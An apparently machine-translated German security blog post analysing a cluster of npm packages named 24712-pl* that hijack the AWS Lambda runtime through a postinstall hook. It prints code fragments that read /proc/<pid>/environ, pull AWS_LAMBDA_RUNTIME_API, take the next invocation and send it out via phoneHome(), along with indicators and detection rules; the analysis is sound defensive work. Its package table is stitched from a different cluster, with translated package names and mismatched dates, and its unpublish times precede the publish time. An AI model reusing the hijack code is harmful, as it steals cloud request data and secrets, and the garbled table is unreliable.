TL; DR
Zwischen dem 6. Mai und dem 7. Mai 2026 wird ein einzelner npm-Publisher pelavelle, veröffentlichte acht Pakete ohne Abhängigkeiten, deren Namen demselben intern wirkenden Muster folgten: 24712-pl*.
Die Pakete beinhalteten 24712-pl3469, 24712-pl4712, 24712-pl5006, 24712-plv2 und 24712-plv3Die nummerierte Vorsilbe deutet stark auf ein npm-Abhängigkeitsverwirrungsangriff gegen einen internen Paket-Namensraum oder ein Paket-ID-Schema.
Alle acht Schwesterpakete wurden bereits zwischen dem Veröffentlichungsdatum vom Herausgeber von npm entfernt. 2026-05-06T21:52Z und 2026-05-07T00:31ZDie Metadaten der direkten Registry bestätigten, dass die Tarballs nun den HTTP-Statuscode 404 zurückgeben.
Das Cluster ist jedoch weiterhin von Bedeutung.
Das kanonische Beispiel, 24712-pl5006:0.0.1, enthält ein postinstall.js Skript, das während npm installAnstatt generische Umgebungsvariablen zu stehlen, sucht es gezielt nach AWS_LAMBDA_RUNTIME_API, die Umgebungsvariable, die von AWS Lambda-Laufzeitumgebungen verwendet wird.
Wenn das Skript findet AWS_LAMBDA_RUNTIME_APIEs ruft den Lambda Runtime API-Endpunkt auf:
Dieser Aufruf versucht, das nächste ausstehende Lambda-Aufrufereignis zu verarbeiten, bevor der legitime Lambda-Handler es verarbeiten kann.
Das erfasste Ereignis, einschließlich Header, Anforderungs-ID, Kontokontext und bis zu 8 KB des Anforderungstextes, wird dann über das Skript an einen vom Angreifer kontrollierten Endpunkt zur Serverauskunft gesendet. phoneHome() Funktion.
Das Malware-Frühwarnsystem (MEW) von Xygeni stufte die kanonische Probe mit einer Punktzahl von als wahrscheinlich bösartig ein. 91.3/100.
Wir verfolgen dies als ein npm-Abhängigkeitsverwirrungsangriff mit AWS Lambda Laufzeit-Hijacking-Verhalten.
Das Cluster: Acht Pakete, ein Verlag
Das Herausgeberkonto pelavelle verwendete die E-Mail-Adresse:
pelavelle@clovercode.com
Das Konto hatte eine nicht verifizierte E-Mail-Adresse, keine SCM Verifizierung und eine niedrige Reputation-Bewertung von 5.
Der Herausgeber veröffentlichte innerhalb eines kurzen Zeitraums zwischen dem 6. Mai 2026 um 20:45 Uhr UTC und 22:36 Uhr UTC acht zusammengehörige Pakete. Die Paketnamen folgen alle dem gleichen Muster:
24712-pl*
Dieses Muster ist das entscheidende Signal. Es sieht nicht nach einem öffentlichen Entwickler-Utility aus, sondern eher nach einem internen Namensschema für Pakete.
| # | Verpackung | Schädliche Version | Erstellt, UTC | Unveröffentlicht, UTC | Nutzlast bestätigt | Haken installieren |
|---|---|---|---|---|---|---|
| 1 | Kosmosforscher | 1.1.3 | 2026-05-01T18:26Z | 2026-05-01T19:01Z | Vermutlich derselbe Herausgeber/Cluster | Vorinstallation, angenommen |
| 2 | signalsdk-web | 1.0.0, 10.0.0 | 2026-05-04T13:57Z | 2026-05-04T18:51Z | Gefolgert | Vorinstallation, angenommen |
| 3 | ms.analytics-web | 99.0.0, 99.9.13 | 2026-05-04T18:47Z | 2026-05-05T10:07Z | Gefolgert | Vorinstallation, angenommen |
| 4 | icons.generated | 99.9.13 | 2026-05-05T10:02Z | 2026-05-05T12:57Z | Gefolgert | Vorinstallation, angenommen |
| 5 | Latenzverfolgung | 99.9.0 | 2026-05-05T11:57Z | 2026-05-05T12:57Z | Gefolgert | Vorinstallation, angenommen |
| 6 | interne Latenzverfolgung | Aus dem Registrierungseintrag entfernte Versionen | 2026-05-06T06:02Z | 2026-05-06T08:35Z | Gefolgert | Vorinstallation, angenommen |
| 7 | Carbonite-App | 99.9.0 | 2026-05-06T05:49Z | 2026-05-06T08:35Z | Ja, vollständiger Scanner-Code-Ablauf | Vorinstallation: node index.js |
| 8 | Carbonit-intern | 99.9.0 | 2026-05-06T06:14Z | 2026-05-06T08:36Z | Ja, vollständiger Scanner-Code-Ablauf | Vorinstallation: node index.js |
Gesamtzahl der Versionen im Cluster: 19 Versions-Paket-Tupel.
Das kanonische Beispiel, 24712-pl5006:0.0.1wurde am 06.05.2026 um 22:36:34 Uhr UTC veröffentlicht und gescannt von Xygenis MEW pipeline vor dem Ereignis „Veröffentlichung aufheben“.
Es enthielt vier Dateien, darunter package/postinstall.js, mit insgesamt 3,335 Bytes Quellcode.
Das Kanonische commit Hashwert war:
83e0efbfd110abb2398a06196fb698565a3f6cc6
Warum das Namensmuster wichtig ist
Die Paketnamen sind der stärkste Indikator für die Absicht.
Sie alle beginnen mit dem gleichen Präfix:
24712-pl
Dann fügen sie numerische oder versionsähnliche Suffixe hinzu:
24712-pl3469
24712-pl4712
24712-pl4713
24712-pl5004
24712-pl5005
24712-pl5006
24712-plv2
24712-plv3
Dies entspricht nicht der üblichen öffentlichen npm-Namenskonvention. Es sieht eher nach einem internen Namensraumpräfix oder einem internen Paket-ID-Schema aus.
Das macht das Cluster konsistent mit einem npm-Abhängigkeitsverwirrungsangriff.
Bei einem Abhängigkeitsverwirrungsangriff veröffentlicht der Angreifer ein öffentliches Paket, dessen Name mit einer internen Abhängigkeit übereinstimmt oder übereinzustimmen scheint. Wenn der Paketmanager oder die Build-Umgebung des Zielsystems das öffentliche anstelle des privaten Pakets auflöst, wird vom Angreifer kontrollierter Code in der Zielumgebung ausgeführt.
OWASP beschreibt Abhängigkeitsverwirrung als einen Angriffsvektor, der Paketmanager und Proxys dazu verleitet, ein bösartiges öffentliches Paket anstelle des beabsichtigten internen Pakets mit demselben Namen abzurufen.
Für einen detaillierteren Kontext zur Funktionsweise dieser Angriffsart siehe Xygenis Leitfaden zu Fehlende Versionsfixierung und Abhängigkeitsverwirrung und unser Beitrag über Identifizierung und Management von Softwareabhängigkeitsangriffen.
Was passiert bei der Installation?
Das kanonische Paket erklärt ein postinstall Haken:
{
"scripts": {
"postinstall": "node postinstall.js || true"
}
}
Das postinstall Der Lebenszyklus ist Teil des Skriptsystems von npm-Paketen. Die npm-Dokumentation erklärt, dass Pakete Lebenszyklusskripte definieren können in package.jsoneinschließlich integrierter Installationslebenszyklusereignisse.
Das || true ist wichtig.
Es unterdrückt Fehler, sodass die Installation auch bei einem fehlgeschlagenen Hijacking-Angriff erfolgreich ist. Dadurch wird verhindert, dass das Paket den Build-Prozess unterbricht, und die Wahrscheinlichkeit verringert, dass Entwickler oder CI-Systeme das schädliche Verhalten durch eine fehlgeschlagene Installation bemerken.
Die Nutzlast läuft während npm installEs ist kein Import durch den Entwickler erforderlich. Es muss kein Anwendungspfad das Paket aufrufen.
Die Installation selbst genügt.
Payload-Verhalten: Lambda-Laufzeitübernahme
Das postinstall.js Das Skript führt eine gezielte Sequenz aus.
Zuerst liest es die Umgebung des übergeordneten Prozesses von Linux. /proc:
const raw = fs.readFileSync(`/proc/${pid}/environ`, 'utf8');
Anschließend wird der AWS Lambda-Laufzeitendpunkt extrahiert:
const match = raw.match(/AWS_LAMBDA_RUNTIME_API=([^\0]+)/);
Wenn die Laufzeit-API gefunden wird, speichert das Skript sie:
runtimeApi = match[1];
Als nächstes sendet es ein erstes Signal durch phoneHome():
await phoneHome({ step: 'waiting', runtimeApi, ts: ... });
Dieser erste Beacon gibt den API-Endpunkt der Lambda-Laufzeitumgebung preis.
Anschließend analysiert das Skript Host und Port der Laufzeit-API:
const [host, portStr] = runtimeApi.split(':');
Schließlich wird der AWS Lambda Runtime API-Pfad aufgerufen, der zum Abrufen des nächsten Aufrufs verwendet wird:
http.request({
host,
port,
path: '/2018-06-01/runtime/invocation/next',
method: 'GET',
timeout: 90000
}, ...);
Das ist der Kern des Angriffs.
Das Skript versucht, das nächste Lambda-Aufrufereignis zu verarbeiten, bevor der zuständige Lambda-Handler es verarbeiten kann. Die AWS-Dokumentation zur benutzerdefinierten Laufzeitumgebung beschreibt den Schritt „Ereignis abrufen“ ebenfalls als Aufruf der API für den nächsten Aufruf.
Was wird exfiltriert
Wenn das Skript einen Aufruf abfängt, sendet es das Ergebnis an den vom Angreifer kontrollierten Heimtelefon-Endpunkt.
Zu den exfiltrierten Feldern gehören:
| Feld | Bedeutung |
|---|---|
step | Ausführungsphase, wie zum Beispiel waiting, next_errorden captured |
runtimeApi | Lambda-Laufzeit-API-Endpunkt |
accountSid | Erfasster AWS-Kontokontext |
requestId | Lambda-Aufruf-Anforderungs-ID |
isOwnAccount | Boolescher Vergleich mit dem konfigurierten Kontowert des Skripts |
statusCode | Laufzeit-API-Antwortstatus |
headers | Antwortheader für den Aufruf |
body | Erfasster Aufruftext, auf 8,000 Zeichen gekürzt |
Der entscheidende Anruf zur Datenexfiltration ist der phoneHome(data) Funktion, die die Daten JSON-kodiert und per HTTP POST sendet.
Die genaue Ziel-URL des Callbacks konnte in den verfügbaren, gekürzten Daten nicht erhalten werden. Daher sollte npm das unveröffentlichte Tarball intern speichern, damit die Host-Literale des C2-Servers extrahiert werden können, bevor das Löschen endgültig abgeschlossen wird.
Warum das gefährlich ist
Dies ist kein generischer npm-Beacon.
Die Nutzlast ist darauf ausgelegt, AWS Lambda Ausführungsmodell.
Wird ein anfälliges Paket in einer Lambda-Ausführungsumgebung installiert, beispielsweise während des Erstellens eines Bereitstellungsimages, der Installation einer Lambda-Schicht oder eines Init-Wrapper-Prozesses, kann die Umgebung Sicherheitslücken offenlegen. AWS_LAMBDA_RUNTIME_API.
Sobald das Skript diesen Wert hat, kann es Folgendes aufrufen:
/2018-06-01/runtime/invocation/next
Dieser Endpunkt gibt das nächste ausstehende Aufrufereignis zurück.
Folglich kann der Angreifer möglicherweise Folgendes abfangen:
- Anfragekörper
- Headers
- Anforderungs-IDs
- AWS-Kontokontext
- Daten der signierten Anfrage
- Kunden-PII
- S3-Ereignisdaten
- Anwendungsspezifische Nutzdaten
- Interner Servicekontext
Der legitime Handler sieht das verarbeitete Ereignis möglicherweise nie.
Dadurch wird ein npm-Installationsskript in ein Lambda-Ereignis-Abfangprimitiv umgewandelt.
Selbst wenn das Paket nie in einer realen Lambda-Umgebung landet, kann das Verhalten dennoch nützliche Kontextinformationen aus Entwicklungs- oder CI-Systemen preisgeben. /proc/<pid>/environ kann Umgebungsvariablen offenlegen, die in übergeordneten Prozessen vorhanden sind, wie z. B. AWS-Schlüssel, Datenbank-URLs, CI-Token oder Bereitstellungs-Anmeldeinformationen.
Aus diesem Grund darf die Abhängigkeitsprüfung nicht bei bekannten CVEs stoppen. Teams benötigen außerdem die Erkennung schädlicher Pakete, die Analyse von Installationsskripten und die Durchsetzung von Registry-Richtlinien. Weitere Informationen finden Sie hier: Warum Abhängigkeitsscans für DevOps-Teams wichtig sind und Malware-Schutz: Warum Antivirus Angriffe auf die Lieferkette nicht stoppen kann.
Xygeni MEW Klassifizierung
Xygeni MEW scannte die kanonische Probe 24712-pl5006:0.0.1 vor dem Ereignis „Veröffentlichung aufheben“.
Der Scanner meldete:
91.3 / 100
probablyMalicious
threshold: 80
Die Beweismittel umfassten drei kritische Punkte und einen hohen Punkt, die den Datenfluss durch die Lambda-Laufzeitübernahme bestätigten.
| Schwere | Beweisbar | Bedeutung |
|---|---|---|
| Kritische | /proc/<pid>/environ besuch | Liest die Umgebung des übergeordneten Prozesses |
| Kritische | AWS_LAMBDA_RUNTIME_API Extraktion | Ziel-Lambda-Laufzeitendpunkt |
| Kritische | /runtime/invocation/next Anforderung | Versuche, ein echtes Lambda-Aufrufereignis zu verbrauchen |
| Hoch | postinstall Skript | Wird während der Installation von npm ausgeführt |
Das Verhalten ist hochspezifisch und hat weitreichende Folgen. Das Paket benötigt keine umfassenden Malware-Funktionen, da der Lambda-Laufzeitendpunkt bereits ein attraktives Ziel darstellt.
Xygeni MEW wurde genau für solche Fälle entwickelt: die Erkennung verdächtigen und schädlichen Paketverhaltens, bevor es zu einem Folgevorfall kommt. Einen umfassenderen Überblick über aktuelle Bedrohungsmuster von npm und PyPI finden Sie hier: Ein genauerer Blick auf Angriffe auf die Software-Lieferkette 2025.
Warum das Muster der Selbst-Entöffentlichung wichtig ist
Alle acht Pakete wurden innerhalb kurzer Zeit vom Verlag zurückgezogen.
Dieses Verhalten ist in diesem Kontext verdächtig.
Der Cluster erschien, wurde ausgeführt, sofern er über einen anfälligen Abhängigkeitsauflösungspfad ausgewählt wurde, und verschwand anschließend wieder. Dies entspricht der üblichen Vorgehensweise eines Angreifers, der nach einem erfolgreichen oder abgebrochenen Proof of Concept oder nachdem die Zielorganisation das Problem bemerkt hat, die betroffenen Prozesse aufräumt.
Die Aufhebung der Veröffentlichung schafft eine Sichtbarkeitslücke für die Verteidiger.
Öffentliche npm-Daten enthalten möglicherweise nicht mehr die Tarballs. Einige Paketversionen können nicht erneut heruntergeladen werden. Betroffene Umgebungen können jedoch weiterhin zwischengespeicherte Kopien, Sperrdateiverweise, CI-Protokolle oder Paketmanager-Artefakte enthalten.
Deshalb ist die Speicherung auf Registry-Seite so wichtig.
npm sollte die unveröffentlichten Tarballs intern lange genug aufbewahren, um die genaue Phone-Home-URL zu extrahieren, die Identität der zugehörigen Payload zu bestätigen und die Reaktion auf Vorfälle zu unterstützen.
Indikatoren für eine Kompromittierung und deren Aufdeckung
Herausgeber und Konto
| Feld | Wert |
|---|---|
| npm-Benutzername | pelavelle |
| npm-Publisher-E-Mail | pelavelle@clovercode.com |
| Email überprüft | Nein |
| SCM verified | Nein |
| Reputation des Herausgebers | 5 |
| Paketbenennungsmuster | ^24712-pl[0-9a-z]+$ |
| Internes Namensraumpräfix | 24712-pl |
Betroffene Paketnamen
24712-pl3469
24712-pl4712
24712-pl4713
24712-pl5004
24712-pl5005
24712-pl5006
24712-plv2
24712-plv3
Kanonisches Beispiel
| Feld | Wert |
|---|---|
| Verpackung | 24712-pl5006 |
| Version | 0.0.1 |
| Veröffentlicht | 2026-05-06T22:36:34Z |
| Commit Hash- | 83e0efbfd110abb2398a06196fb698565a3f6cc6 |
| Xygeni Scan-UUID | f80e4244-86d2-4a58-be59-7c56988a0f9f |
| Score | 91.3 / 100 |
| Urteil | probablyMalicious |
Haken installieren
{
"scripts": {
"postinstall": "node postinstall.js || true"
}
}
Lambda-Laufzeitindikatoren
Exfiltrierte Nutzlastfelder
step
runtimeApi
accountSid
requestId
isOwnAccount
statusCode
headers
body
Der Text ist in 8,000 Zeichen unterteilt.
Erkennungsnotizen
Mehrere Regeln können dies erfassen. npm-Abhängigkeitsverwirrungsangriff und wahrscheinlich Varianten davon.
Zuerst müssen die npm-Installationsskripte, die die Umgebung des übergeordneten Prozesses lesen, gekennzeichnet werden. /proc:
/proc/<pid>/environ
Das ist bei einer npm-Abhängigkeit während der Installation nur selten ein legitimes Verhalten.
Zweitens, Warnung bei Paketinstallationsskripten, die Folgendes referenzieren:
AWS_LAMBDA_RUNTIME_API
Auf diese Umgebungsvariable sollte während der Installation durch Drittanbieter-npm-Pakete nicht zugegriffen werden.
Drittens, Installationsskripte blockieren oder überprüfen, die Folgendes aufrufen:
/2018-06-01/runtime/invocation/next
Dies ist der AWS Lambda Runtime API-Endpunkt für den Empfang des nächsten Aufrufs. Ein Skript zur Installation von Abhängigkeiten hat keinen legitimen Grund, diesen zu verwenden.
Viertens, suchen Sie nach Sperrdateiverweisen auf die betroffenen Paketnamen:
package-lock.json
yarn.lock
pnpm-lock.yaml
npm-shrinkwrap.json
Jede Übereinstimmung sollte eine Überprüfung auf Abhängigkeitsverwirrung auslösen.
Fünftens, Warnung bei Verwendung des regulären Ausdrucks für den Paketnamen:
^24712-pl[0-9a-z]+$
insbesondere wenn der Herausgeber öffentlich ist, einen schlechten Ruf hat, nicht verifiziert ist oder außerhalb des erwarteten internen Registers liegt.
Zum Schluss noch hinzufügen CI/CD guardrails rund um Installationsskripte. Dies ist besonders wichtig, da npm-Lebenszyklusskripte während der Paketinstallation ausgeführt werden können, bevor Entwickler irgendetwas importieren. Weitere Informationen finden Sie unter CI/CD Erkennungsmuster, siehe Xygeni Top 10 Indikatoren für Kompromisse in CI/CD Pipelines und Sicherheit Guardrails für CI/CD Pipelines.
Empfohlene Registry-Aktionen
Dieser Cluster war zum Zeitpunkt der Berichterstattung bereits unveröffentlicht, aber die Veröffentlichung beseitigt das Risiko nicht.
Empfohlene npm-seitige Aktionen:
- Prüfen Sie, ob es sich bei den gelöschten Veröffentlichungen um eine vom Angreifer initiierte Bereinigungsmaßnahme oder um eine legitime Aktion des Wartungspersonals handelte.
- Das Herausgeberkonto sperren oder bannen
pelavelle. - Speichern
pelavelle@clovercode.com, die Paketnamen und der reguläre Ausdruck für Paketnamen, um npm-Missbrauch und Lieferketten-Blocklisten zu erkennen. - Unveröffentlichte Tarballs sollten zur forensischen Untersuchung im internen Speicher aufbewahrt werden.
- Extrahieren Sie den genauen
phoneHome()Ziel-URL aus den gespeicherten Paket-Tarballs. - Prüfen Sie, ob alle Geschwisterpakete die gleiche Nutzlast enthalten.
- Benachrichtigen Sie die betroffenen Organisationen, wenn Telemetriedaten vom Paket-Download oder der Installation auf eine Gefährdung hinweisen.
Checkliste für die Reaktion auf Kompromisse
Wenn ein betroffenes Paket in Sperrdateien, CI-Protokollen, Paketcaches, Lambda-Layern, Bereitstellungsabbildern oder Build-Artefakten auftaucht, behandeln Sie es als potenzielles Ausführungsereignis aufgrund von Abhängigkeitsverwirrung.
Empfohlene Antwort:
- Ermitteln Sie, wo das Paket installiert wurde: lokale Workstation, CI-Runner, Lambda-Layer-Build, Deployment-Image oder Laufzeitumgebung.
- Sperrdateien, npm-Cache, Build-Protokolle, Bereitstellungsartefakte und Container-Image-Ebenen beibehalten.
- Prüfen Sie, ob die Installation in einer Umgebung erfolgte, in der
AWS_LAMBDA_RUNTIME_APIwar eingestellt. - Überprüfen Sie die ausgehenden HTTP-Protokolle auf unbekannte Verbindungen.
phoneHome()Ziele während des Installationszeitraums. - Überprüfen Sie die Lambda-Aufrufprotokolle auf verworfene, fehlende oder anomale Ereignisse.
- Rotieren Sie regelmäßig alle Geheimnisse, die der Installationsumgebung zugänglich sind, insbesondere AWS-Schlüssel, CI-Token, Bereitstellungs-Anmeldeinformationen und Datenbank-URLs.
- Überprüfen Sie Lambda-Layer und Bereitstellungsabbilder auf zwischengespeicherte Kopien des Pakets.
- Erzwinge die Festlegung privater Registry-Einträge für interne Paketpräfixe.
- Öffentliche npm-Auflösung für intern aussehende Paketnamen blockieren.
- Speichern guardrails für
preinstall,installundpostinstallSkripte.
Wie Xygeni dabei hilft, dies früher zu erkennen
Diese Kampagne ist genau der Fall, in dem Sicherheitsteams mehr als herkömmliche Schwachstellenscans benötigen.
Möglicherweise gibt es keine CVEMöglicherweise existiert keine bekannte anfällige Version. Möglicherweise gibt es nach der Bereinigung durch den Herausgeber kein langlebiges Paket mehr, das untersucht werden könnte.
Stattdessen benötigen die Teams Echtzeit-Einblicke in das Verhalten der Pakete.
Xygeni hilft durch die Kombination von:
- Frühe Malware-Erkennung in öffentlichen Registern.
- Verdachtserkennung von Abhängigkeiten zur Vermeidung von Abhängigkeitsverwirrung und Typosquatting.
- Installationsskriptanalyse für
preinstall,installundpostinstallVerhaltensweisen. - CI/CD guardrails um riskante Pakete zu blockieren, bevor sie Build- oder Deployment-Umgebungen erreichen.
- Transparenz der Software-Lieferkette über alle Abhängigkeiten hinweg, pipelines und Artefakte.
- Durchsetzung von Richtlinien für interne Paketnamen und nicht vertrauenswürdige öffentliche Pakete.
Das ist wichtig, weil die Auswirkungen eines npm-Abhängigkeitsverwirrungsangriff ist nicht auf Entwickler-Laptops beschränkt. Es kann CI-Runner, Build-Images, Lambda-Layer, Deployment-Container und Laufzeitumgebungen erreichen.
Für einen umfassenderen Kontext zu AppSec und Lieferkette siehe Darüber Hinaus SCA: Sicherung Ihrer Software-Lieferkette und Software Supply Chain Security Automation.
Was Verteidiger mitnehmen sollten
Diese Kampagne zeigt, wie Abhängigkeitsverwirrung über einfache Ausführungsnachweise hinausgehen kann.
Die Nutzlast bestätigt nicht einfach nur, dass npm install Es wurde ausgeführt. Es versucht, mit der AWS Lambda Runtime API zu interagieren und ein echtes Aufrufereignis zu erfassen.
Das ist eine bedeutsame Eskalation.
Für Teams, die Serverless-Architekturen nutzen, ist die Auflösung von Abhängigkeiten Teil des Laufzeit-Bedrohungsmodells. Ein öffentliches npm-Paket mit einem intern wirkenden Namen kann einen Zugang zum Lambda-Ausführungskontext, zu Anforderungsdaten und zu Metadaten des Cloud-Kontos ermöglichen.
Die zentrale Erkenntnis ist eindeutig: Interne Paketpräfixe müssen geschützt, eingeschränkt und an vertrauenswürdige Registrierungsstellen gebunden werden. Installationsskripte müssen als ausführbare Angriffsfläche behandelt werden, insbesondere in CI/CDContainer-Builds, Lambda-Layer und Deployment pipelines.
CISDie Leitlinien von A zur Software-Lieferkette betonen die Notwendigkeit, Software zu schützen, Sicherheitsprüfungen durchzuführen und kontinuierlich auf Schwachstellen im gesamten Entwicklungsprozess zu reagieren. Konkret bedeutet dies, Paketauflösung, Paketskripte und serverlose Build-Umgebungen als erstklassige Sicherheitskontrollen zu behandeln.
Gemeldet an npm wegen Durchsetzung von Account-Richtlinien, Sperrung und Aufbewahrung unveröffentlichter Tarballs.
